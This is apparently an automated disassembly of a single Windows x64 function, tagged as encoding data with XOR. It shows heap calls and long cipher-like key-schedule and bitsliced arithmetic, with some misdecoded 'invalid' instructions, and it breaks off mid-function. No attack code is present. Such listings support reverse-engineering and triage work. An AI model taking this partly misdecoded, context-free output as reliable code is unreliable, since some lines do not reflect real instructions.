Function at 0x14009b810
Capabilities:
Encode data using xor

Disassembly:
mov r13, rdi
cmp r13, r14
jne 0x140017db3
jmp 0x140017ebe
cmp byte [rdi + 0x10], 0x23
jne case.0x140017e1d.2
cmp r13, r14
je 0x140017ebe
mov rax, qword [rbp + 0xd08]
add rax, r13
mov rcx, r14
sub rcx, r13
cmp rcx, r15
mov rdx, r15
cmovb rdx, rcx
test sil, sil
cmovne rdx, rcx
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], rdx
mov qword [rbp + 0x8e0], 0
mov qword [rbp + 0x8e8], rbx
mov rcx, qword [rbp + 0xd50]
lea rdx, [rbp + 0x8d0]
call case.0x14007a34e.123
test rax, rax
je case.default.0x140017e1d
mov rdi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rdi + 0xf], 0x23
jne case.0x140017e1d.2
mov rax, rdi
dec rax
mov qword [rbp + 0xd30], rax
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov qword [rbp + 0xd60], rcx
mov qword [rbp + 0xd40], rax
call qword [rax]
mov rax, qword [rbp + 0xd40]
cmp qword [rax + 8], 0
je 0x140017e9f
cmp qword [rax + 0x10], 0x11
jae 0x140017e85
mov r8, qword [rbp + 0xd60]
jmp 0x140017e90
mov rax, rdi
shr rax, 0x20
cmp eax, 0x23
je 0x140017daa
jmp case.0x140017e1d.2
mov r8, qword [rbp + 0xd60]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0xd30]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r13, r14
jne 0x140017db3
mov r8d, 0x20
lea rcx, [rbp + 0xd08]
mov rdx, r14
call fcn.1400a5460
mov r14, qword [rbp + 0xd10]
mov r13, qword [rbp + 0xd18]
jmp 0x140017db3
mov rdi, qword [rbp + 0x8e0]
test rdi, rdi
je 0x1400181ad
mov rax, qword [rbp + 0x8e8]
mov rbx, rax
sub rbx, rdi
jb 0x14001a29e
mov rdx, qword [rbp + 0x8d8]
cmp rax, rdx
ja 0x14001a2b2
add rdi, r13
mov qword [rbp + 0xd18], rdi
cmp r14, qword [rbp + 0xca0]
jne 0x140017d8b
cmp rdi, r14
jne 0x140017d8b
movdqa xmmword [rbp - 0x40], xmm6
movdqa xmmword [rbp - 0x50], xmm6
mov r9d, 0x20
lea r14, [rbp + 0x390]
mov rcx, r14
mov r13, qword [rbp + 0xd50]
push rax
or eax, 0x1deb0000
push rax
or eax, 0x1deb0000
nop word cs:[rax + rax]
cmp byte [rdi + 0x10], 0x23
jne 0x1400180c7
mov r9d, 0x20
mov rcx, r14
mov rdx, r13
lea r8, [rbp - 0x50]
call fcn.14007d3f0
cmp qword [rbp + 0x390], 0
je case.default.0x140017fb7
mov rdi, qword [rbp + 0x398]
mov eax, edi
and eax, 3
lea rcx, [0x1400e6854]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add byte [rax], al
jmp 0x140018030
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0xd30]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140017f7a
mov rax, qword [rbp + 0x398]
test rax, rax
je 0x1400181b4
cmp rax, 0x21
jae 0x14001a290
lea rcx, [rbp + 0xd08]
mov rdx, qword [rbp + 0xca0]
mov r8, rax
mov r13, rax
call fcn.1400a5460
mov r14, qword [rbp + 0xd10]
mov rdi, qword [rbp + 0xd18]
mov rcx, qword [rbp + 0xd08]
add rcx, rdi
lea rdx, [rbp - 0x50]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rdi, r13
mov qword [rbp + 0xd18], rdi
sbb byte [0x10bea80bd], cl
cld
invalid
invalid
sbb byte [0x10bea80bd], cl
cld
invalid
mov r13, qword [rbp + 0xd50]
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x1400180f3
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001a27f
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001a27f
mov qword [rax], rdi
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], rax
lea rax, [0x1400a9950]
mov qword [rcx + 8], rax
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0xd10], 0
je 0x14001814b
mov r8, qword [rbp + 0xd08]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0xda0]
movaps xmm7, xmmword [rbp + 0xdb0]
movaps xmm8, xmmword [rbp + 0xdc0]
movaps xmm9, xmmword [rbp + 0xdd0]
movaps xmm10, xmmword [rbp + 0xde0]
movaps xmm11, xmmword [rbp + 0xdf0]
movaps xmm12, xmmword [rbp + 0xe00]
movaps xmm13, xmmword [rbp + 0xe10]
movaps xmm14, xmmword [rbp + 0xe20]
movaps xmm15, xmmword [rbp + 0xe30]
add rsp, 0xec8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r13, qword [rbp + 0xd50]
movzx eax, byte [section..data]
cmp al, 0xff
mov rbx, qword [rbp + 0xcb8]
je 0x1400181cf
cmp al, 1
je 0x140018218
jmp 0x14001879f
lea rcx, [rbp + 0x390]
call fcn.14003bcf0
lea rcx, [rbp + 0x8d0]
call fcn.14003bd20
mov esi, dword [rbp + 0x398]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140018798
call fcn.14000a3f0
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov byte [section..data], sil
je 0x14001879f
movdqu xmm6, xmmword [rbx]
movdqu xmm7, xmmword [rbx + 0x10]
movdqa xmmword [rbp + 0x7d0], xmm7
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x7d0]
call fcn.14003bd50
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmmword [rbp + 0xd30], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm6
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmm6, xmm0
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x7c0]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmmword [rbp + 0xd40], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm7
movdqa xmmword [rbp + 0x7b0], xmm0
movdqa xmm7, xmm0
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x7b0]
call fcn.14003bd70
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmm3, xmm6
movdqa xmmword [rbp + 0xd60], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm3
movdqa xmmword [rbp + 0x7a0], xmm6
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x7a0]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmm3, xmm7
movdqa xmmword [rbp + 0xca0], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm3
movdqa xmmword [rbp + 0x790], xmm7
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x790]
call fcn.14003bd80
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
movdqa xmmword [rbp + 0x780], xmm8
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x780]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
movdqa xmmword [rbp + 0x770], xmm9
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x770]
call fcn.14003bd90
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
movdqa xmmword [rbp + 0x760], xmm10
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x760]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
movdqa xmmword [rbp + 0x750], xmm11
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x750]
call fcn.14003bda0
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
movdqa xmmword [rbp + 0xd70], xmm12
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0xd70]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
movdqa xmmword [rbp + 0xcc0], xmm13
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0xcc0]
call fcn.14003bdb0
pshufd xmm0, xmmword [rbp + 0x8d0], 0xff
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
movdqa xmmword [rbp + 0xce0], xmm14
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0xce0]
call fcn.14003bd60
pshufd xmm0, xmmword [rbp + 0x8d0], 0xaa
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rbp + 0x8d0], xmm15
lea rcx, [rbp + 0x7e0]
lea rdx, [rbp + 0x8d0]
call fcn.14003bdc0
pshufd xmm0, xmmword [rbp + 0x7e0], 0xff
movdqa xmm1, xmm14
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm14
pslldq xmm0, 4
movdqa xmm2, xmm14
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rbp + 0xd30]
movaps xmmword [rbp + 0x7e0], xmm0
movaps xmm0, xmmword [rbp + 0xd40]
movaps xmmword [rbp + 0x7f0], xmm0
movaps xmm0, xmmword [rbp + 0xd60]
movaps xmmword [rbp + 0x800], xmm0
movaps xmm0, xmmword [rbp + 0xca0]
movaps xmmword [rbp + 0x810], xmm0
movdqa xmmword [rbp + 0x820], xmm6
movdqa xmmword [rbp + 0x830], xmm7
movdqa xmmword [rbp + 0x840], xmm8
movdqa xmmword [rbp + 0x850], xmm9
movdqa xmmword [rbp + 0x860], xmm10
movdqa xmmword [rbp + 0x870], xmm11
movdqa xmmword [rbp + 0x880], xmm12
movdqa xmmword [rbp + 0x890], xmm13
pxor xmm2, xmm14
movdqa xmmword [rbp + 0x8a0], xmm14
movdqa xmmword [rbp + 0x8b0], xmm15
movdqa xmmword [rbp + 0x8c0], xmm2
lea rcx, [rbp + 0x9c0]
lea rdi, [rbp + 0x7e0]
mov rdx, rdi
call fcn.140007800
lea rbx, [rbp + 0x8d0]
mov r8d, 0xf0
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x390]
mov r8d, 0x1e0
mov rdx, rbx
jmp 0x140019520
mov byte [section..data], 0
xor edi, edi
lea rsi, [rbp + 0x8d0]
mov r8d, 0x3c0
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003a4f0
lea rcx, [rbp + 0x910]
add rbx, 0x10
mov qword [rsp + 0x20], rbx
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003a4f0
mov ebx, 8
mov r15d, 0x80
movabs r12, 0xf000f000f000f
movabs r13, 0xfff0fff0fff0fff0
movabs r14, 0xff00ff00ff00ff00
movabs rsi, 0xf000f000f000f000
nop
lea rcx, [rbp + 0x8d0]
mov rdx, rbx
call fcn.14003a910
lea rcx, [rdi + rbp]
add rcx, 0x950
call fcn.14003aa00
not qword [rbp + rdi + 0x950]
not qword [rbp + rdi + 0x958]
not qword [rbp + rdi + 0x978]
not qword [rbp + rdi + 0x980]
xor byte [rbp + r15 + 0x8d3], 0xf0
mov rcx, qword [rbp + rdi + 0x950]
mov rax, qword [rbp + rdi + 0x958]
rol rcx, 0x24
and rcx, r12
xor rcx, qword [rbp + rdi + 0x8d0]
mov rdx, rcx
mov r8, rcx
shl r8, 0xc
and r8, rsi
xor r8, rcx
shl rcx, 4
and rcx, r13
shl rdx, 8
and rdx, r14
xor rdx, rcx
xor r8, rdx
rol rax, 0x24
mov qword [rbp + rdi + 0x950], r8
and rax, r12
xor rax, qword [rbp + rdi + 0x8d8]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x958], rdx
mov rax, qword [rbp + rdi + 0x960]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x8e0]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x960], rdx
mov rax, qword [rbp + rdi + 0x968]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x8e8]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x968], rdx
mov rax, qword [rbp + rdi + 0x970]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x8f0]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x970], rdx
mov rax, qword [rbp + rdi + 0x978]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x8f8]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x978], rdx
mov rax, qword [rbp + rdi + 0x980]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x900]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x980], rdx
mov rax, qword [rbp + rdi + 0x988]
rol rax, 0x24
and rax, r12
xor rax, qword [rbp + rdi + 0x908]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x988], rdx
cmp r15, 0x3b0
je 0x140018cf2
lea rdx, [rbx + 8]
lea rcx, [rbp + 0x8d0]
call fcn.14003a910
lea rcx, [rdi + rbp]
add rcx, 0x990
call fcn.14003aa00
mov rdx, qword [rbp + rdi + 0x990]
mov rcx, qword [rbp + rdi + 0x998]
not rdx
not rcx
mov rax, qword [rbp + rdi + 0x9b8]
not rax
mov qword [rbp + rdi + 0x9b8], rax
not qword [rbp + rdi + 0x9c0]
shr rdx, 0xc
and rdx, r12
xor rdx, qword [rbp + rdi + 0x910]
mov r8, rdx
mov r9, rdx
shl r9, 0xc
and r9, rsi
xor r9, rdx
shl rdx, 4
and rdx, r13
shl r8, 8
and r8, r14
xor r8, rdx
xor r9, r8
mov qword [rbp + rdi + 0x990], r9
shr rcx, 0xc
and rcx, r12
xor rcx, qword [rbp + rdi + 0x918]
mov rdx, rcx
mov r8, rcx
shl r8, 0xc
and r8, rsi
xor r8, rcx
shl rcx, 4
and rcx, r13
shl rdx, 8
and rdx, r14
xor rdx, rcx
xor r8, rdx
mov qword [rbp + rdi + 0x998], r8
mov rcx, qword [rbp + rdi + 0x9a0]
shr rcx, 0xc
and rcx, r12
xor rcx, qword [rbp + rdi + 0x920]
mov rdx, rcx
mov r8, rcx
shl r8, 0xc
and r8, rsi
xor r8, rcx
shl rcx, 4
and rcx, r13
shl rdx, 8
and rdx, r14
xor rdx, rcx
xor r8, rdx
mov qword [rbp + rdi + 0x9a0], r8
mov rcx, qword [rbp + rdi + 0x9a8]
shr rcx, 0xc
and rcx, r12
xor rcx, qword [rbp + rdi + 0x928]
mov rdx, rcx
mov r8, rcx
shl r8, 0xc
and r8, rsi
xor r8, rcx
shl rcx, 4
and rcx, r13
shl rdx, 8
and rdx, r14
xor rdx, rcx
xor r8, rdx
mov qword [rbp + rdi + 0x9a8], r8
mov rcx, qword [rbp + rdi + 0x9b0]
shr rcx, 0xc
and rcx, r12
xor rcx, qword [rbp + rdi + 0x930]
mov rdx, rcx
mov r8, rcx
shl r8, 0xc
and r8, rsi
xor r8, rcx
shl rcx, 4
and rcx, r13
shl rdx, 8
and rdx, r14
xor rdx, rcx
xor r8, rdx
mov qword [rbp + rdi + 0x9b0], r8
shr rax, 0xc
and rax, r12
xor rax, qword [rbp + rdi + 0x938]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x9b8], rdx
mov rax, qword [rbp + rdi + 0x9c0]
shr rax, 0xc
and rax, r12
xor rax, qword [rbp + rdi + 0x940]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x9c0], rdx
mov rax, qword [rbp + rdi + 0x9c8]
shr rax, 0xc
and rax, r12
xor rax, qword [rbp + rdi + 0x948]
mov rcx, rax
mov rdx, rax
shl rdx, 0xc
and rdx, rsi
xor rdx, rax
shl rax, 4
and rax, r13
shl rcx, 8
and rcx, r14
xor rcx, rax
xor rdx, rcx
mov qword [rbp + rdi + 0x9c8], rdx
add r15, 0x88
sub rdi, 0xffffffffffffff80
add rbx, 0x10
jmp 0x140018820
mov edx, 0xf8
movabs rcx, 0xf00ff00f00000
movabs rax, 0xf0f00000f0f0000
movabs r8, 0xff000000ff0000
movabs r9, 0xf000ff000f0000
nop
mov r11, qword [rbp + rdx + 0x818]
mov r10, qword [rbp + rdx + 0x820]
mov rsi, r11
shr rsi, 8
xor rsi, r11
and rsi, rcx
mov rdi, rsi
shl rdi, 8
or rdi, rsi
xor rdi, r11
mov r11, rdi
shr r11, 4
xor r11, rdi
and r11, rax
mov rsi, r11
shl rsi, 4
or rsi, r11
xor rsi, rdi
mov qword [rbp + rdx + 0x818], rsi
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x820], r11
mov r10, qword [rbp + rdx + 0x828]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x828], r11
mov r10, qword [rbp + rdx + 0x830]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x830], r11
mov r10, qword [rbp + rdx + 0x838]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x838], r11
mov r10, qword [rbp + rdx + 0x840]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x840], r11
mov r10, qword [rbp + rdx + 0x848]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x848], r11
mov r10, qword [rbp + rdx + 0x850]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, rcx
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x850], r11
mov r10, qword [rbp + rdx + 0x858]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x858], rsi
mov r10, qword [rbp + rdx + 0x860]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x860], rsi
mov r10, qword [rbp + rdx + 0x868]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x868], rsi
mov r10, qword [rbp + rdx + 0x870]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x870], rsi
mov r10, qword [rbp + rdx + 0x878]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x878], rsi
mov r10, qword [rbp + rdx + 0x880]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x880], rsi
mov r10, qword [rbp + rdx + 0x888]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x888], rsi
mov r10, qword [rbp + rdx + 0x890]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r8
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov qword [rbp + rdx + 0x890], rsi
mov r10, qword [rbp + rdx + 0x898]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x898], r11
mov r10, qword [rbp + rdx + 0x8a0]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8a0], r11
mov r10, qword [rbp + rdx + 0x8a8]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8a8], r11
mov r10, qword [rbp + rdx + 0x8b0]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8b0], r11
mov r10, qword [rbp + rdx + 0x8b8]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8b8], r11
mov r10, qword [rbp + rdx + 0x8c0]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8c0], r11
mov r10, qword [rbp + rdx + 0x8c8]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8c8], r11
mov r10, qword [rbp + rdx + 0x8d0]
mov r11, r10
shr r11, 8
xor r11, r10
and r11, r9
mov rsi, r11
shl rsi, 8
or rsi, r11
xor rsi, r10
mov r10, rsi
shr r10, 4
xor r10, rsi
and r10, rax
mov r11, r10
shl r11, 4
or r11, r10
xor r11, rsi
mov qword [rbp + rdx + 0x8d0], r11
add rdx, 0x100
cmp rdx, 0x3f8
jne 0x140018d20
mov r8, qword [rbp + 0xc10]
mov rdx, qword [rbp + 0xc18]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, rcx
mov r10, r9
shl r10, 8
or r10, r9
xor r10, r8
mov r8, r10
shr r8, 4
xor r8, r10
and r8, rax
mov r9, r8
shl r9, 4
or r9, r8
xor r9, r10
mov qword [rbp + 0xc10], r9
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc18], r8
mov rdx, qword [rbp + 0xc20]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc20], r8
mov rdx, qword [rbp + 0xc28]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
